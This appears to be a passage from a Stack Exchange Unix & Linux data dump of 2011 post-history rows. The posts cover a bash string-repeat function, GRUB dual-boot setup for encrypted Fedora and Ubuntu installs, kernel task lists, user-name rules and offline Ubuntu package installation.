&quot;${count}&quot; == &quot;0&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    [[ &quot;${string}&quot; == &quot;&quot;        ]] &amp;&amp; exit 0 # nothing to do&#xD;&#xA;    #&#xD;&#xA;    # ========================================================================&#xD;&#xA;    # Find the highest 'power of 2' which, when calculated**, is &lt;= count&#xD;&#xA;    #   ie. check ascending 'powers of 2'&#xD;&#xA;    ((leqXpo=0))  # Exponent which makes 2** &lt;= count &#xD;&#xA;    ((leqCnt=1))  # A count which is &lt;= count&#xD;&#xA;    while ((count&gt;=leqCnt)) ;do&#xD;&#xA;      ((leqXpo+=1))&#xD;&#xA;      ((leqCnt*=2))&#xD;&#xA;    done&#xD;&#xA;    ((leqXpo-=1))&#xD;&#xA;    ((leqCnt/=2))&#xD;&#xA;    #   &#xD;&#xA;    # ======================================================================================&#xD;&#xA;    # Output $string to 'tee's which are daisy-chained in groups of descending 'powers of 2'&#xD;&#xA;    todo=$count&#xD;&#xA;    for ((xpo=leqXpo ;xpo&gt;0 ;xpo--)) ;do&#xD;&#xA;      tchain=&quot;&quot; &#xD;&#xA;      floor=$((2**xpo))&#xD;&#xA;      if ((todo&gt;=(2**xpo))) ; then&#xD;&#xA;        for ((t=0 ;t&lt;xpo ;t++)) ;do tchain=&quot;$tchain|tee -&quot; ;done&#xD;&#xA;        eval echo -n $e \&quot;'$string'\&quot; $tchain # &gt;/dev/null&#xD;&#xA;        ((todo-=floor))&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    if ((todo==1)) ;then &#xD;&#xA;      eval echo -n $e \&quot;'$string'\&quot; # &gt;/dev/null&#xD;&#xA;    fi&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;Here are some test results.. (I'll do more later).. I've gone to 32 GB because thats the about the size of a test file I wanted to create (which is what started me off on this issue)   &#xD;&#xA;&#xD;&#xA;    08 GB # dd if=/dev/zero bs=1024 count=$(((1024**2)*8))&#xD;&#xA;    08 GB # repstr  -e $(((1024**3)*8))    &quot;x&quot;&#xD;&#xA;    08 GB # repstr  -e $(((1024**3)*1))    &quot;xxx\txxx\n&quot;&#xD;&#xA;       WRITE: dd   real/user/sys  1m51.659s / 0m0.020s / 0m11.465s&#xD;&#xA;       WRITE: tee  real/user/sys  1m54.519s / 0m1.560s / 0m28.270s&#xD;&#xA;       WRITE: tee  real/user/sys  1m49.939s / 0m1.600s / 0m30.198s&#xD;&#xA;&#xD;&#xA;    32 GB # dd if=/dev/zero bs=1024 count=$(((1024**2)*32))&#xD;&#xA;    32 GB # repstr  -e $(((1024**3)*32))     &quot;x&quot;&#xD;&#xA;    32 GB # repstr  -e $(((1024**3)*4))      &quot;xxx\txxx\n&quot; /media/ubuntu2/home/axiom/32GB&#xD;&#xA;       WRITE: dd   real/user/sys 10m53.337s / 0m14.821s / 3m43.278s&#xD;&#xA;       WRITE: tee  real/user/sys  9m39.058s / 0m06.144s / 1m52.523s&#xD;&#xA;       WRITE: tee  real/user/sys  7m17.076s / 0m05.796s / 1m49.419s&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27913" PostHistoryTypeId="5" PostId="11289" RevisionGUID="d89d4b06-c767-46bf-a5e0-5178436b1044" CreationDate="2011-04-17T09:20:06.647" UserId="5664" Comment="added 183 characters in body" Text="I installed Fedora 14 first, then Ubuntu 10.04. I installed them using dm_crypt/aes256/lvm, so I used encrypted VolumeGroups. At the end of the Ubuntu install it said it cannot install GRUB, so I had to use SuperGRUBdisk to start Fedora and give the command:&#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Now I can boot to Fedora normally, without using supergrubdisk, but the problem is, I can't boot to Ubuntu!&#xD;&#xA;&#xD;&#xA;Is there any working way to install Fedora 14 &amp; Ubuntu 10.04 using (separated) encrypted VolumeGroups (each volumegroup with other password)? Such that 2 users (who knows the root passwords of their own distro) can use 1 PC but not see each other's files?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;I tried it in reverse order: I first installed the Ubuntu, then the Fedora. Fedora didn't gave error messages regarding grub when installing, but it's still the same: I can't see the Ubuntu in the &quot;grub boot list&quot;, when booting the PC.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What could be the problem? The boot manager doesn't recongize that, that there is another distro on the HDD? Why? What should i do?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Update#2: Here is &lt;a href=&quot;http://img846.imageshack.us/img846/5962/howw.png&quot;&gt;my idea on a picture&lt;/a&gt; :) (&lt;a href=&quot;http://i.imgur.com/WFkUk.png&quot;&gt;on other pict. host&lt;/a&gt;)&#xD;&#xA;" />
  <row Id="27918" PostHistoryTypeId="2" PostId="11508" RevisionGUID="3e40b4d7-3c24-4968-aac8-8964c9c5cc7a" CreationDate="2011-04-17T11:06:37.830" UserId="2871" Text="While reading through the Linux Kernel Development by Robert Love, I went through the following line : &#xD;&#xA;&#xD;&#xA;&gt; The kernel stores the list of processes in a circular doubly linked list called the task list.&#xD;&#xA;&#xD;&#xA;I would like to know what is the size of this Task list." />
  <row Id="27919" PostHistoryTypeId="1" PostId="11508" RevisionGUID="3e40b4d7-3c24-4968-aac8-8964c9c5cc7a" CreationDate="2011-04-17T11:06:37.830" UserId="2871" Text="What is the size of the TaskList?" />
  <row Id="27920" PostHistoryTypeId="3" PostId="11508" RevisionGUID="3e40b4d7-3c24-4968-aac8-8964c9c5cc7a" CreationDate="2011-04-17T11:06:37.830" UserId="2871" Text="élinuxàéprocessà" />
  <row Id="27921" PostHistoryTypeId="2" PostId="11509" RevisionGUID="3f101dd2-ef4d-4239-95a2-afece49cc696" CreationDate="2011-04-17T11:40:33.360" UserId="5664" Text="WOW!!! UPDATE!! I think I'm getting this one solved:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I manually edited the Fedoras /boot:&lt;br&gt;&#xD;&#xA;I appended a few things to the &quot;/boot/grub/menu.lst&quot;!!! and i could boot in to Ubuntu!! F*CKYEAH!! ;)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The Fedora's &quot;/boot/grub/menu.lst&quot; before editing it: &#xD;&#xA;&#xD;&#xA;	# grub.conf generated by anaconda&#xD;&#xA;	#&#xD;&#xA;	# Note that you do not have to rerun grub after making changes to this file&#xD;&#xA;	# NOTICE:  You have a /boot partition.  This means that&#xD;&#xA;	#          all kernel and initrd paths are relative to /boot/, eg.&#xD;&#xA;	#          root (hd0,2)&#xD;&#xA;	#          kernel /vmlinuz-version ro root=/dev/mapper/VolGroup-LogVol01&#xD;&#xA;	#          initrd /initrd-[generic-]version.img&#xD;&#xA;	#boot=/dev/sda&#xD;&#xA;	default=0&#xD;&#xA;	timeout=0&#xD;&#xA;	splashimage=(hd0,2)/grub/splash.xpm.gz&#xD;&#xA;	hiddenmenu&#xD;&#xA;	title Fedora (2.6.35.6-45.fc14.i686)&#xD;&#xA;		root (hd0,2)&#xD;&#xA;		kernel /vmlinuz-2.6.35.6-45.fc14.i686 ro root=/dev/mapper/VolGroup-LogVol01 rd_LVM_LV=VolGroup/LogVol01 rd_LUKS_UUID=luks-af599498-b495-483f-bd1b-fb8d10c8b37a rd_LVM_LV=VolGroup/LogVol00 rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYTABLE=us rhgb quiet&#xD;&#xA;		initrd /initramfs-2.6.35.6-45.fc14.i686.img&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I appended this, and it worked: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	title ubuntu&#xD;&#xA;		root (hd0,0)&#xD;&#xA;		kernel /vmlinuz-2.6.32-28-generic&#xD;&#xA;		initrd /initrd.img-2.6.32-28-generic&#xD;&#xA;&#xD;&#xA;Ok. But there are still two questions: &lt;br&gt;&#xD;&#xA;1) is this booting method ok? (i mean there are many things declared in the fedora's kernel line, and in the ubuntu kernel line, i had just wrote &quot;vmlinuz-2.6.32-28-generic&quot; - i couldn't just copy from the ubuntu's /boot/grub/menu.lst, because there is just grub.cfg..other syntax: http://pastebin.com/raw.php?i=b4DLweKv )&#xD;&#xA;&#xD;&#xA;2) is this manual modification to the menu.lst permanent? Is it ok in long-term?&lt;br&gt;&#xD;&#xA;I mean if the ubuntu get's a kernel update, and ubuntu isn't handling/updating the boot manager (because fedora does it, if i install fedora lastly) - then how could the boot manager know, that ubuntu must boot with a new kernel?? or i have to find out what to write in the &quot;kernel&quot; and &quot;initrd&quot; line manually?" />
  <row Id="27922" PostHistoryTypeId="2" PostId="11510" RevisionGUID="24fb4673-fce3-4970-99d4-013375027afe" CreationDate="2011-04-17T11:45:44.677" UserId="1594" Text="I disabled this shortcut it via System-&gt;Preferences-&gt;Keyboard Shortcuts, but it still persists. Furthermore, it takes precedence over Alt-F8 in other apps.&#xD;&#xA;&#xD;&#xA;How do I really disable this shortcut? Do I need a reboot after disabling it in Preferences?" />
  <row Id="27923" PostHistoryTypeId="1" PostId="11510" RevisionGUID="24fb4673-fce3-4970-99d4-013375027afe" CreationDate="2011-04-17T11:45:44.677" UserId="1594" Text="How to disable &quot;Resize Window&quot; shortcut (Alt-F8)?" />
  <row Id="27924" PostHistoryTypeId="3" PostId="11510" RevisionGUID="24fb4673-fce3-4970-99d4-013375027afe" CreationDate="2011-04-17T11:45:44.677" UserId="1594" Text="ékeyboardöshortcutsà" />
  <row Id="27925" PostHistoryTypeId="5" PostId="11481" RevisionGUID="632aa00d-d270-44d2-ab3f-24a5ab8a5f76" CreationDate="2011-04-17T11:56:51.583" UserId="885" Comment="added note about chown and `.` vs `:`; discuss all-numeric names" Text="See the source code, specifically `libmisc/chkname.c`. Shadow is pretty conservative: names must match the regexp `[_a-z][-0-9_a-z]*\$?` and may be at most `GROUP_NAME_MAX_LENGTH` characters long (configure option, default 16; user names can usually go up to 32 characters, subject to compile-time determination).&#xD;&#xA;&#xD;&#xA;Debian relaxes the check a lot. As of squeeze, anything but whitespace and `:` is allowed. See [bug #264879](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=264879) and [bug #377844](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=377844).&#xD;&#xA;&#xD;&#xA;[POSIX](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_426) requires allowing letters of either case, digits and `._-` ([like in file names](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_276)). POSIX doesn't set any restriction if you don't care about portability. A number of recommended restrictions come from usage:&#xD;&#xA;&#xD;&#xA;* Colons, newlines and nulls are right out; you just can't use them in `/etc/passwd` or `/etc/group`.&#xD;&#xA;* An name consisting solely of digits is a bad idea — [`chown`]() and [`chgrp`]() are supposed to treat a digit sequence as a name if it's in the user/group database, but other applications may treat any number as a numerical id.&#xD;&#xA;* An initial `-` or a `.` in a user name is strongly not recommended, because many applications expect to be able to pass `$user.$group` to an external utility (e.g. `chown $user.$group /path/to/file`)¹. A `.` in a group name should cause less trouble, but I'd still recommend against it.&#xD;&#xA;* `/` is likely to cause trouble too, because some programs expect to be able to use user names in file names.&#xD;&#xA;* Any character that the shell would expand is probably risky.&#xD;&#xA;* Non-ASCII characters should be ok if you don't care about sharing with systems that may use different encodings.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;All modern implementations expect `chown $user:$group`, but support `chown $user.$group` for backward compatibility, and there are too many applications out there that pass a dot to remove that compatibility support.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="27926" PostHistoryTypeId="5" PostId="11445" RevisionGUID="a041dfa5-aa51-40e1-a13c-6fdd3cf1b2ee" CreationDate="2011-04-17T11:59:03.050" UserId="2879" Comment="strip newlines with chomp" Text="You'll need to escape all characters that are special in regexps, not just backslashes but also `[.*^$` and the `s` delimiter (for sed). In Perl, use the `quotemeta` function.&#xD;&#xA;&#xD;&#xA;A further issue with your attempt is that when you run `set -- $line`, the shell performs its own expansion: it performs globbing in addition to word splitting, so if your line contains `a* b*` and there are files called `a1` and `a2` in the current directory then you'll be replacing `a1` with `a2`. You need to turn off globbing with `set -f` in this approach.&#xD;&#xA;&#xD;&#xA;Here's a solution that mangles the replacement list directly into a list of sed arguments. It assumes that there is no space character in the source and replacement texts, but anything other than a space and a newline should be treated correctly. The first replacement adds a `\` before the characters that need protecting, and the second replacement turns each line from `foo bar`  into `-e s/foo/bar/g`. Warning, untested.&#xD;&#xA;&#xD;&#xA;    set -f&#xD;&#xA;    sed_args=$(&lt;replacement sed -e 's~[/.*[\\^$]~\\&amp;~g' \&#xD;&#xA;                                -e 's~^\([^ ]*\)  *\([^ ]*\).*~-e s/\1/\2/g~')&#xD;&#xA;    sed -i $sed_args target&#xD;&#xA;&#xD;&#xA;In Perl, you'll have fewer issues with quoting if you just let Perl read the replacement file directly. Again, untested.&#xD;&#xA;&#xD;&#xA;    perl -i -pe 'BEGIN {&#xD;&#xA;       open R, &quot;&lt;replacement&quot; or die;&#xD;&#xA;       while (&lt;R&gt;) {&#xD;&#xA;           chomp;&#xD;&#xA;           ($from, $to, @ignored) = split / +/;&#xD;&#xA;           $s{$from} = $to;&#xD;&#xA;       }&#xD;&#xA;       close R;&#xD;&#xA;    }&#xD;&#xA;    $regexp = join(&quot;|&quot;, map {quotemeta} keys %s);&#xD;&#xA;    s/($regexp)/$s{$1}/ego'&#xD;&#xA;" />
  <row Id="27927" PostHistoryTypeId="24" PostId="11445" RevisionGUID="a041dfa5-aa51-40e1-a13c-6fdd3cf1b2ee" CreationDate="2011-04-17T11:59:03.050" Comment="Proposed by 2879 approved by 885 edit id of 280" />
  <row Id="27928" PostHistoryTypeId="25" PostId="11508" RevisionGUID="17cb85b6-ec64-41d2-8828-68f4c102dead" CreationDate="2011-04-17T12:09:09.780" Comment="http://twitter.com/#!/StackUnix/status/59589212017655808" />
  <row Id="27929" PostHistoryTypeId="2" PostId="11511" RevisionGUID="18bc6e85-7290-4e0d-b059-80f9cb7d6032" CreationDate="2011-04-17T12:15:27.700" UserId="6671" Text="You can boot your grub2 Ubuntu from legacy grub like this:-&#xD;&#xA;&#xD;&#xA;    title Ubuntu&#xD;&#xA;    root (hd0,0)&#xD;&#xA;    kernel /boot/grub/core.img&#xD;&#xA;&#xD;&#xA;That way you will still see the full Ubuntu grub2 menu which will be updated when the kernel updates." />
  <row Id="27931" PostHistoryTypeId="6" PostId="11498" RevisionGUID="5ca56a17-941a-4c94-b376-128d7e87417c" CreationDate="2011-04-17T12:25:06.733" UserId="885" Comment="edited tags" Text="ésignalsàésuspendàétrapà" />
  <row Id="27932" PostHistoryTypeId="6" PostId="11485" RevisionGUID="b90c1ef2-a81c-4c9d-9e8f-346d4a8d7ac7" CreationDate="2011-04-17T12:28:46.797" UserId="885" Comment="edited tags" Text="élinuxàéshellàésshàéusersà" />
  <row Id="27933" PostHistoryTypeId="6" PostId="11483" RevisionGUID="2b3749df-f386-4b3b-a3cc-727a2e40fb34" CreationDate="2011-04-17T12:29:47.543" UserId="885" Comment="edited tags" Text="ésoftwareöinstallationàéautomakeà" />
  <row Id="27935" PostHistoryTypeId="2" PostId="11512" RevisionGUID="fcf51c66-52b2-40d1-8bd6-900a3fd6aa6c" CreationDate="2011-04-17T13:53:13.633" UserId="885" Text="The task list is stored in a circular doubly linked list; each node is a [`struct task_struct`](http://lxr.linux.no/#linux+v2.6.32/include/linux/sched.h#L1276). The list structure is specifically in the `tasks` field. There's no separate object in memory to represent the list: each node contains pointers to the previous and next node (`some_task-&gt;tasks.prev` and `some_task-&gt;tasks.next`).&#xD;&#xA;&#xD;&#xA;This data structure doesn't have an inherent maximum size. The limiting factor as far as the number of tasks is concerned will be either the available memory for tasks structures and other resources consumed by the tasks, or the number of process (more precisely, task group) identifiers, which are limited to 15 bits by default.&#xD;&#xA;&#xD;&#xA;Read chapter 5 of [*Linux Kernel Development*](http://www.amazon.com/Linux-Kernel-Development-Robert-Love/dp/0672325128), or [chapter 11](http://lwn.net/images/pdf/LDD3/ch11.pdf) of [*Linux Device Drivers* ](http://lwn.net/Kernel/LDD3/), for more information on this data structure in the Linux kernel.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27936" PostHistoryTypeId="6" PostId="11508" RevisionGUID="ae904289-a635-43d5-9c69-ce6438fa2f01" CreationDate="2011-04-17T13:53:24.617" UserId="885" Comment="edited tags" Text="élinuxàékernelàéprocessà" />
  <row Id="27937" PostHistoryTypeId="2" PostId="11513" RevisionGUID="aa575342-94f8-47ac-9e32-77bfacd749ab" CreationDate="2011-04-17T14:05:36.520" UserId="5763" Text="Have a look at this [link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.com/archive/feature/113936" />
  <row Id="27938" PostHistoryTypeId="2" PostId="11514" RevisionGUID="8ff8a11f-60c7-453d-84e7-7ac4a13a556d" CreationDate="2011-04-17T14:06:19.633" UserId="2168" Text="The Alt-Tab handler is not an &quot;app&quot; and doesn't have &quot;replacements&quot; as in Windows. It is part of the *window manager*.&#xD;&#xA;&#xD;&#xA;In GNOME 2 with effects enabled, the WM is Compiz. You can use the [`ccsm`](http://wiki.compiz.org/CCSM) tool to adjust behavior of the &quot;Window Switcher&quot; plugin. (There are two such plugins, by the way.)" />
  <row Id="27939" PostHistoryTypeId="2" PostId="11515" RevisionGUID="c7a9659f-16da-46c9-8067-0f8447bdd780" CreationDate="2011-04-17T14:07:39.037" UserId="5763" Text="Sounds like a MAC duplication problem, i guess the VMware guest's MAC is same as another on the network, hence the loss of ip after some time. Try changing to NAT or change MAC address of VM if you use bridged mode." />
  <row Id="27940" PostHistoryTypeId="2" PostId="11516" RevisionGUID="429e4d80-1b8d-4c2a-9f7c-2901db67b195" CreationDate="2011-04-17T14:09:32.637" UserId="2168" Text="&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F8&lt;/kbd&gt; is handled by your window manager. In GNOME 2 (with effects enabled) the WM is Compiz. You can use the [`ccsm`](http://wiki.compiz.org/CCSM) tool to edit its keyboard shortcuts." />
  <row Id="27941" PostHistoryTypeId="2" PostId="11517" RevisionGUID="69eee7a4-e2d9-4caf-9ca9-54ea0fee3cd1" CreationDate="2011-04-17T14:49:01.130" UserId="6673" Text="I was able to use the 'xdotool' under Ubuntu 11.04 beta, but the 'selectwindow' was not a valid command, I had to hack a script with:&#xD;&#xA;&#xD;&#xA;$ while true; do sleep 1; xdotool getactivewindow; done&#xD;&#xA;&#xD;&#xA;then watch the window ID go by while I selected the window I wanted, then decoded the responsible PID with:&#xD;&#xA;&#xD;&#xA;$ xdotool getwindowpid &amp;lt;the-window-id&gt;&#xD;&#xA;" />
  <row Id="27942" PostHistoryTypeId="25" PostId="11502" RevisionGUID="c122397d-c971-4193-b591-30c62fb0ac33" CreationDate="2011-04-17T15:09:09.683" Comment="http://twitter.com/#!/StackUnix/status/59634509360013313" />
  <row Id="27943" PostHistoryTypeId="5" PostId="11289" RevisionGUID="790c30af-4d3f-4adb-9822-1000baadc345" CreationDate="2011-04-17T15:31:05.743" UserId="5664" Comment="added 107 characters in body" Text="I installed Fedora 14 first, then Ubuntu 10.04. I installed them using dm_crypt/aes256/lvm, so I used encrypted VolumeGroups. At the end of the Ubuntu install it said it cannot install GRUB, so I had to use SuperGRUBdisk to start Fedora and give the command:&#xD;&#xA;&#xD;&#xA;    # grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Now I can boot to Fedora normally, without using supergrubdisk, but the problem is, I can't boot to Ubuntu!&#xD;&#xA;&#xD;&#xA;Is there any working way to install Fedora 14 &amp; Ubuntu 10.04 using (separated) encrypted VolumeGroups (each volumegroup with other password)? Such that 2 users (who knows the root passwords of their own distro) can use 1 PC but not see each other's files?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;I tried it in reverse order: I first installed the Ubuntu, then the Fedora. Fedora didn't gave error messages regarding grub when installing, but it's still the same: I can't see the Ubuntu in the &quot;grub boot list&quot;, when booting the PC.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What could be the problem? The boot manager doesn't recongize that, that there is another distro on the HDD? Why? What should i do?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Update#2: Here is &lt;a href=&quot;http://img846.imageshack.us/img846/5962/howw.png&quot;&gt;my idea on a picture&lt;/a&gt; :) (&lt;a href=&quot;http://i.imgur.com/WFkUk.png&quot;&gt;on other pict. host&lt;/a&gt;)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Update#3: I'm trying this whole thing in VirtualBox (VirtualBox-3.2-3.2.12_68302_fedora14-1.i686)" />
  <row Id="27944" PostHistoryTypeId="2" PostId="11518" RevisionGUID="a68fc86e-c173-4d55-87e9-9bf54c900594" CreationDate="2011-04-17T15:38:20.933" UserId="5664" Text="Regarding this: http://unix.stackexchange.com/questions/11289/how-to-install-fedoraubuntu-with-encrypted-vgs-on-one-disk/11509#11509&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So booted into Ubuntu..and I run this script: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	#!/bin/bash&#xD;&#xA;&#xD;&#xA;	# show the bootlist of grub when booting pc&#xD;&#xA;	sed -i.backup 's/^GRUB_HIDDEN_TIMEOUT=/#GRUB_HIDDEN_TIMEOUT=/' /etc/default/grub&#xD;&#xA;	sed -i 's/^GRUB_TIMEOUT=10/GRUB_TIMEOUT=5/' /etc/default/grub&#xD;&#xA;	# update-grub # we will use this later too.. don't need it here&#xD;&#xA;&#xD;&#xA;	# add the &quot;chainload grub&quot; function&#xD;&#xA;	cp /etc/grub.d/40_custom /etc/grub.d/40_custom.backup&#xD;&#xA;	echo &quot;#!/bin/sh&#xD;&#xA;	exec tail -n +3 \$0&#xD;&#xA;	menuentry 'FEDORA' {&#xD;&#xA;	    insmod chain&#xD;&#xA;	    set root=(hd0,3)&#xD;&#xA;	    chainloader +1&#xD;&#xA;	}&quot; &gt; /etc/grub.d/40_custom&#xD;&#xA;	chmod 755 /etc/grub.d/40_custom&#xD;&#xA;	update-grub&#xD;&#xA;&#xD;&#xA;	sync&#xD;&#xA;	sync&#xD;&#xA;	sync&#xD;&#xA;&#xD;&#xA;ok, great no error messages..&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm using: VirtualBox-3.2-3.2.12_68302_fedora14-1.i686&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Now I want to reboot the virtualbox machine to test the whole thing..this is what I get a few seconds after i select &quot;FEDORA&quot; in the grub2 bootlist:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://img130.imageshack.us/img130/2227/wtfaf.png&quot;&gt;pichost #1&lt;/a&gt; - &lt;a href=&quot;http://i.imgur.com/i1SfJ.png&quot;&gt;pichost #2&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;great! .. :(&lt;br&gt;&#xD;&#xA;other things: &lt;a href=&quot;http://pastebin.com/raw.php?i=0DfVVFTC&quot;&gt;VBox.log&lt;/a&gt;; &lt;a href=&quot;http://pastebin.com/raw.php?i=mppQBzk1&quot;&gt;2011-04-17-15-23-37.048-VirtualBox-12365.log&lt;/a&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Can anyone help me? Is there a workaround for this bug?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="27945" PostHistoryTypeId="1" PostId="11518" RevisionGUID="a68fc86e-c173-4d55-87e9-9bf54c900594" CreationDate="2011-04-17T15:38:20.933" UserId="5664" Text="VirtualBox bug[?] when Chainloading Grub2.." />
  <row Id="27946" PostHistoryTypeId="3" PostId="11518" RevisionGUID="a68fc86e-c173-4d55-87e9-9bf54c900594" CreationDate="2011-04-17T15:38:20.933" UserId="5664" Text="éubuntuàéfedoraàévirtualboxàégrub2à" />
  <row Id="27947" PostHistoryTypeId="2" PostId="11519" RevisionGUID="3bac0b38-5a50-4e6e-b586-52425e9d8cc2" CreationDate="2011-04-17T16:36:52.477" UserId="6677" Text="I recently installed Ubuntu Desktop 10.10 (i.e 2h ago :D) from ISO CD. &#xD;&#xA;&#xD;&#xA;All went smoothly but now I have an issue. I don't have a network connection.&#xD;&#xA;&#xD;&#xA;I do not mean that there is a configuration problem and I have no internet connection. I mean I don't have an internet connection to install updates and extra programs.&#xD;&#xA;&#xD;&#xA;I use a wireless USB modem for Internet and the thing only works in Windows. *nix systems are not supported. I'm asking this question after booting from Windows.&#xD;&#xA;&#xD;&#xA;And the question is, is there some DVD, files of something which contains a collection of programs to chose from and install? I want to download it in Windows, burn a DVD/CD and boot Ubuntu to install them.&#xD;&#xA;&#xD;&#xA;I could'n find anything on the Ubuntu site. Is there a way to update Ubuntu &quot;off-line&quot; or is is dependent on Internet connection?&#xD;&#xA;&#xD;&#xA;TIA!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="27948" PostHistoryTypeId="1" PostId="11519" RevisionGUID="3bac0b38-5a50-4e6e-b586-52425e9d8cc2" CreationDate="2011-04-17T16:36:52.477" UserId="6677" Text="Updates/applications/packages for Ubuntu 10.10 with no internet connection" />
  <row Id="27949" PostHistoryTypeId="3" PostId="11519" RevisionGUID="3bac0b38-5a50-4e6e-b586-52425e9d8cc2" CreationDate="2011-04-17T16:36:52.477" UserId="6677" Text="éubuntuàésoftwareöinstallationàéinternetàéupgradeà" />
  <row Id="27950" PostHistoryTypeId="2" PostId="11520" RevisionGUID="7347be6c-753f-487d-9453-a44841912d67" CreationDate="2011-04-17T17:06:41.573" UserId="688" Text="There is indeed a DVD iso [available for download][1]. Burn it to disc, and run this command after inserting that disc:&#xD;&#xA;&#xD;&#xA;    sudo apt-cdrom add&#xD;&#xA;&#xD;&#xA;That command makes APT aware of the packages in that disc. From then on, each time you want to install a package that is in there, APT will ask you to insert it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/desktop/get-ubuntu/alternative-download#dvd" />
  <row Id="27952" PostHistoryTypeId="5" PostId="11520" RevisionGUID="a39996b1-a6dd-4630-87d7-402c079d0ff3" CreationDate="2011-04-17T17:16:38.897" UserId="688" Comment="add more info; added 23 characters in body; added 2 characters in body" Text="There is indeed a DVD iso [available for download][1]. Burn it to disc, and run this command after inserting it:&#xD;&#xA;&#xD;&#xA;    sudo apt-cdrom add&#xD;&#xA;&#xD;&#xA;That command makes APT aware of the packages in that disc. From then on, each time you want to install a package that is in there, APT will ask you to insert it.&#xD;&#xA;&#xD;&#xA;There are other ways of working offline of course, and the one I use is having a partial APT repository. I use `debmirror` for this, and run it thus:&#xD;&#xA;&#xD;&#xA;    /usr/bin/debmirror \&#xD;&#xA;     --verbose \&#xD;&#xA;     --progress \&#xD;&#xA;     --ignore-release-gpg \&#xD;&#xA;     --host=ftp.sun.ac.za \&#xD;&#xA;     --passive \&#xD;&#xA;     --dist=squeeze \&#xD;&#xA;     --root=ftp/debian \&#xD;&#xA;     --section=main \&#xD;&#xA;     --method=ftp \&#xD;&#xA;     --arch=i386 \&#xD;&#xA;     --nosource \&#xD;&#xA;     --getcontents \&#xD;&#xA;     /path/to/destination/directory&#xD;&#xA;&#xD;&#xA;The example is for Debian, but you need only replace `--host`, `--dist` and `--root`.&#xD;&#xA;&#xD;&#xA;Sadly, it doesn't look like `debmirror` is available even from the iso image, so download it directly [from Ubuntu repository][2], and install it with `dpkg --install &lt;debmirror deb&gt;`. If that commands displays dependency issues, issue `apt-get --fix-broken install` and you just might get lucky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/desktop/get-ubuntu/alternative-download#dvd&#xD;&#xA;  [2]: http://packages.ubuntu.com/maverick/debmirror" />
  <row Id="27953" PostHistoryTypeId="2" PostId="11521" RevisionGUID="55e916f3-c866-4596-beb0-c80b0868e6d7" CreationDate="2011-04-17T17:23:39.647" UserId="885" Text="First, did you try to make your modem work in Linux? There's a way to use some Windows drivers in Linux: [NDISwrapper](http://en.wikipedia.org/wiki/NDISwrapper). On Ubuntu, start with the [NDISwrapper page in the community documentation](https://help.ubuntu.com/community/WifiDocs/Driver/Ndiswrapper).&#xD;&#xA;&#xD;&#xA;If that fails, you might try to run your Ubuntu installation in a virtual machine under Windows. The main hurdle would be to get the VM to allow the guest to access the raw disk. [This site](http://www.matrix44.net/blog/?p=590) has plausible-looking instructions for VirtualBox (where you can't set this up with the GUI but you can with the command-line tools); I can't vouch for their correctness.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;You can always install a package manually: download the `.deb` file (make sure it's for the right version and architecture), and install it with the command `sudo dpkg -iGE /path/to/package.deb`.&#xD;&#xA;&#xD;&#xA;I don't think you can get a complete Ubuntu release on DVD, but the [official DVDs](http://www.ubuntu.com/desktop/get-ubuntu/alternative-download#dvd) have more packages than the CDs.&#xD;&#xA;&#xD;&#xA;To manage updates, try [apt-offline](http://packages.ubuntu.com/apt-offline) [![Install apt-offline](http://bit.ly/software-small)](http://apt.ubuntu.com/p/apt-offline). You run it on your Ubuntu machine to generate a “signature file”, then run it under either Linux or Windows to download packages as directed by the “signature file”, and finally run it on Ubuntu again to install the downloaded packages. See the [apt-offline howto](http://www.debian-administration.org/article/Offline_Package_Management_for_APT) for more complete instructions.&#xD;&#xA;&#xD;&#xA;Two other packages that might help are [apt-zip](http://packages.ubuntu.com/apt-zip) [![Install apt-zip](http://bit.ly/software-small)](http://apt.ubuntu.com/p/apt-zip) (somewhat similar to 